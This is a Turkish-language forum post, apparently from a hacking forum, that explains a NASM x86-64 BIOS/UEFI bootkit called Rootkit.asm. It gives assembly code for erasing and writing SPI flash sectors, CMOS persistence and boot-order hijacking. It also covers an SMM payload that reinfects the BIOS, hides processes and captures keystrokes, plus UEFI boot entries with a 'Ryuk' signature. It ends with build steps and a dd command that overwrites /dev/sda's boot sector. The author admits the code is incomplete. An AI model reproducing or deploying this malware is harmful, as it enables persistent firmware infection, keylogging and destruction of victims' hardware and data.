1. Bu Kod Nedir ve Ne İşe Yarar?
Rootkit.asm, x86-64 Assembly dilinde yazılmış bir BIOS/UEFI bootkit'tir. Amacı:- BIOS Flash ROM'a kendi kodunu enjekte etmek
- SMM (System Management Mode)'de çalışan bir payload yüklemek
- CMOS'a kalıcılık sağlamak
- UEFI sistemlerde de çalışabilmek
- Kendini gizlemek ve sistem açılışında yüklenmek
2. Peki Bu Kod Hangi Dille Yazıldı?
Assembly (NASM) ile yazılmış. Neden mi?- En düşük seviye: BIOS ve donanımla doğrudan iletişim kurar.
- Boyut: 512 bayt (MBR) veya küçük UEFI modülleri için idealdir.
- Kontrol: İşlemci talimatlarına tam hakimiyet sağlar.
- Gizlilik: Derlenmiş binary, tersine mühendislik yapması zordur.
3. Bootkit Nedir ve Nasıl Çalışır?
Bootkit, işletim sisteminden önce yüklenen bir rootkit türüdür. BIOS/UEFI'ye bulaşır ve sistem her açıldığında çalışır. Format atmak, Windows'u yeniden kurmak temizlemez!3.1. Kod Yapısı ve Başlangıç
assemblyBITS 64
ORG 0x7C00
UEFI_LOAD_ADDRESS EQU 0x80000000
- BITS 64: 64-bit modda çalışır.
- ORG 0x7C00: BIOS, bootloader'ı bu adrese yükler.
- UEFI_LOAD_ADDRESS: UEFI uygulamalarının yüklendiği adres.
3.2. SPI Flash Sabitleri
assemblySPI_CMD_WREN EQU 0x06 ; Write Enable
SPI_CMD_WRDI EQU 0x04 ; Write Disable
SPI_CMD_RDSR EQU 0x05 ; Read Status Register
SPI_CMD_PP EQU 0x02 ; Page Program
SPI_CMD_SE EQU 0x20 ; Sector Erase
SPI_CMD_BE EQU 0xD8 ; Block Erase
SPI_CMD_CE EQU 0xC7 ; Chip Erase
SPI_CMD_RDID EQU 0x9F ; Read ID
SPI (Serial Peripheral Interface) Flash, BIOS'un saklandığı çiptir. Bu komutlar, BIOS Flash'ı okumak ve yazmak için kullanılır.
3.3. Başlangıç ve Önyükleme Modu Tespiti
assembly_start:
cli ; Kesmeleri devre dışı bırak
cld ; Yön bayrağını temizle
call detect_boot_mode
cmp ax, 0x0001
je .uefi_boot ; UEFI ise
cmp ax, 0x0002
je .legacy_boot ; Legacy BIOS ise
jmp .error
- Sistemin hangi modda (UEFI veya Legacy BIOS) başlatıldığı tespit edilir.
- Her iki modda da çalışabilmesi için farklı kod yolları izlenir.
3.4. Legacy BIOS Bootkit
assemblylegacy_bootkit:
mov ax, 0x0000
mov ds, ax
mov es, ax
mov ss, ax
mov sp, 0x7C00
call detect_spi_flash
cmp ax, 0x0000
je .no_flash
call backup_bios ; BIOS'u yedekle
call inject_into_bios ; BIOS'a enjekte et
call persist_in_cmos ; CMOS'a yaz
call hijack_boot_order ; Boot sırasını değiştir
jmp original_boot
Adım adım:
- SPI Flash'ı tespit et:
detect_spi_flash:
mov al, SPI_CMD_RDID
call spi_send_byte
call spi_read_byte
cmp al, 0xEF ; Winbond
je .found
cmp al, 0xC2 ; Macronix
je .found
cmp al, 0x01 ; Spansion
je .found
cmp al, 0x20 ; Micron/ST
je .found
BIOS çipinin üreticisini (Winbond, Macronix, Spansion, Micron) tespit eder.
- BIOS'u yedekle:
backup_bios:
mov eax, BIOS_FLASH_BASE
mov edi, 0x7E00
mov ecx, 0x10000
rep movsb
BIOS'un ilk 64KB'ı yedeklenir.
- BIOS'a enjekte et:
inject_into_bios:
mov al, SPI_CMD_WREN
call spi_send_byte
mov eax, 0x00FF0000
call spi_sector_erase
lea rsi, [smm_payload]
mov edi, 0x00FF0000
mov ecx, smm_payload_len
call spi_write_payload
mov al, SPI_CMD_WRDI
call spi_send_byte
- BIOS'un 0x00FF0000 adresindeki sektör silinir.
- SMM payload bu adrese yazılır.
- CMOS'a kalıcılık sağla:
persist_in_cmos:
mov al, CMOS_BOOT_FLAG
out CMOS_ADDR, al
mov al, 0xDE
out CMOS_DATA, al
CMOS'a 0xDE değeri yazılarak rootkit'in varlığı işaretlenir.
- Boot sırasını ele geçir:
hijack_boot_order:
mov al, 0x2D
out CMOS_ADDR, al
in al, CMOS_DATA
mov al, 0x80
out CMOS_DATA, al
- BIOS, boot sırasını CMOS'tan okur.
- Boot sırası değiştirilerek rootkit'in yüklenmesi sağlanır.
3.5. SMM Payload (System Management Mode)
assemblysmm_payload:
push rax
push rbx
push rcx
push rdx
call check_bios_integrity
cmp rax, 0x0000
jne .skip_reinfect
call inject_into_bios ; Tekrar enfekte et
.skip_reinfect:
call hide_processes ; Process'leri gizle
call capture_keys ; Tuş vuruşlarını yakala
pop rdx
pop rcx
pop rbx
pop rax
rsm ; SMM'den çık
SMM (System Management Mode): İşlemcinin en yüksek ayrıcalıklı modudur. İşletim sistemi bundan habersizdir.
SMM payload'ı:
- BIOS bütünlüğünü kontrol eder (eğer temizlenmişse tekrar enfekte eder).
- Süreçleri gizler (hide_processes).
- Tuş vuruşlarını yakalar (capture_keys - keylogger).
3.6. UEFI Desteği
assemblyefi_entry:
push rbp
mov rbp, rsp
mov rbx, rcx
mov rdx, rdx
mov rax, [rdx + 0x60] ; EFI System Table
mov rcx, rbx
call [rax + 0x30] ; EFI System Table -> Boot Services
call uefi_spi_write ; SPI Flash'a yaz
call uefi_set_variable ; UEFI değişkeni oluştur
call uefi_add_boot_entry ; Boot menüsüne ekle
jmp $
UEFI modunda:
- EFI System Table üzerinden Boot Services çağrılır.
- SPI Flash'a payload yazılır.
- RyukBoot adında bir UEFI değişkeni oluşturulur.
- Boot menüsüne gizli bir giriş eklenir.
uefi_var_name db 'RyukBoot', 0
uefi_var_data db 'I am Ryuk, and this BIOS is mine. Muahahaha!', 0
UEFI değişkenine mesaj yazılır. Bu, rootkit'in varlığının bir imzasıdır.
3.7. MBR Boot Sektörü İmzası
assemblytimes 510 - ($ - $$) db 0
dw 0xAA55
- 510 bayt dolgu yapılır.
- Son 2 bayt 0xAA55 (bootable MBR imzası) yazılır.
4. Bu Kod Nasıl Çalıştırılır?
bash# NASM ile assembly et
nasm -f bin rootkit.asm -o rootkit.bin
# MBR'ye yaz (GERÇEK DONANIMDA DİKKAT!)
dd if=rootkit.bin of=/dev/sda bs=512 count=1
# Veya QEMU ile test et
qemu-system-x86_64 -drive file=rootkit.bin,format=raw -m 512
UYARI: Bu kodu gerçek donanımda çalıştırmak, BIOS'u bozabilir ve anakartı tuğlalayabilir!
https://warnight.pw/threads/filess-malware.254/ devamı ve galiba teoriklikden çıktı sayılır çünkü rustın bios desteği yok (kod düzgün çalışmıyor ve diğer yazdığım rust kodları gibi payload tarzı ayarları sizin yapmanız için boş bıraktığım yerler var unutmayın
Ekli Dosyalar
Son düzenleme: